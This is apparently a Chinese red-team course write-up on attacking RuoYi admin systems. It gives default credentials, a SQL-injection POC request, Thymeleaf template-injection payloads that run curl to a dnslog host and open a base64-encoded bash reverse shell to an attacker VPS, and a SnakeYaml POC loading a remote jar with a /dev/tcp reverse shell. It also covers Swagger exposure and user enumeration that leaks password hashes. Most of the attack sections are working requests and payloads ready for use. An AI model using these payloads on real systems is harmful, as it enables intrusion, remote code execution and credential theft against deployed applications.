本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

本文来源:大白哥红队攻防演练课程(Des师傅授课部分)

需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡

一、弱口令

  • 默认用户密码

用户名:admin
密码:admin123

二、shiro反序列化

三、SQL注入(低版本)

  • 前提:需要登陆

  • 漏洞点为系统管理中的角色管理的搜索功能,发现注入点参数为:params[dataScope]

  • POC如下

POST /system/role/list HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=dea10cdb-9d3c-4f6a-854a-ea1ca540a992
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

四、Thymeleaf模板注入

/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
  • 访问/monitor/cache/getNames路径,使用Burp数据包

  • 构造反弹shell命令,并进行base64编码

/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1

  • 构造fragment的值,将经过base64编码以后的反弹shell语句放入以下payload,然后进行URL编码

payload结构:${T (java.lang.Runtime).getRuntime().exec("需要执行的命令")}

//dnslog探测
${T (java.lang.Runtime).getRuntime().exec("curl xxxx.dnslog.cn")}
http://192.168.0.2/monitor/cache/getNames?fragment=header(%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%78%78%78%78%2e%64%6e%73%6c%6f%67%2e%63%6e%22%29%7d%0a)

//反弹shell
${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}
http://192.168.0.2/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d
  • 在VPS上面使用nc监听5566端口,用于接收反弹shell

  • 更改请求方式为POST,拼接上刚刚经过URL编码的Payload,将数据包发送出去

  • 响应状态码为200,回到VPS查看监听状态,反弹shell成功

五、SnakeYaml反序列化

  • 前提:需要登陆

  • POC

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL [“http://artsploit.com/yaml-payload.jar"]
  ]]
]')
new String[]{"/bin/sh","-c","bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"}

  • AwesomeScriptEngineFactory.java编译成.class文件

  • 生成恶意jar包

//将src目录下的文件打包为yaml-payload.jar的jar包
jar -cvf yaml-payload.jar -C src/ .

  • 在系统监控中创建一个定时任务,填入POC

六、Swagger未授权

  • 若依系统内置了swagger,所以会有可能有未授权访问未授权访问路径常见的有

/swagger-ui.html
/prod-api/swagger-ui.html
/api/swagger-ui.html
...
  • 配合目录扫描工具效果更佳

七、用户名遍历

  • 通过接口获取用户名,搭配123456进行后台账户弱口令爆破

  • 通过微信,以游客身份登录小程序,结合该系统后台API,利用以下请求接口成功获取到当前该系统后台管理员账户信息有admin,admin_ah,admin_ah2

  • /prod-api/system/user/authRole/1,通过遍历用户ID可获取该用户的密码hash值

  • 还有其他各类接口,可参考其他利用若依框架开发的系统照搬。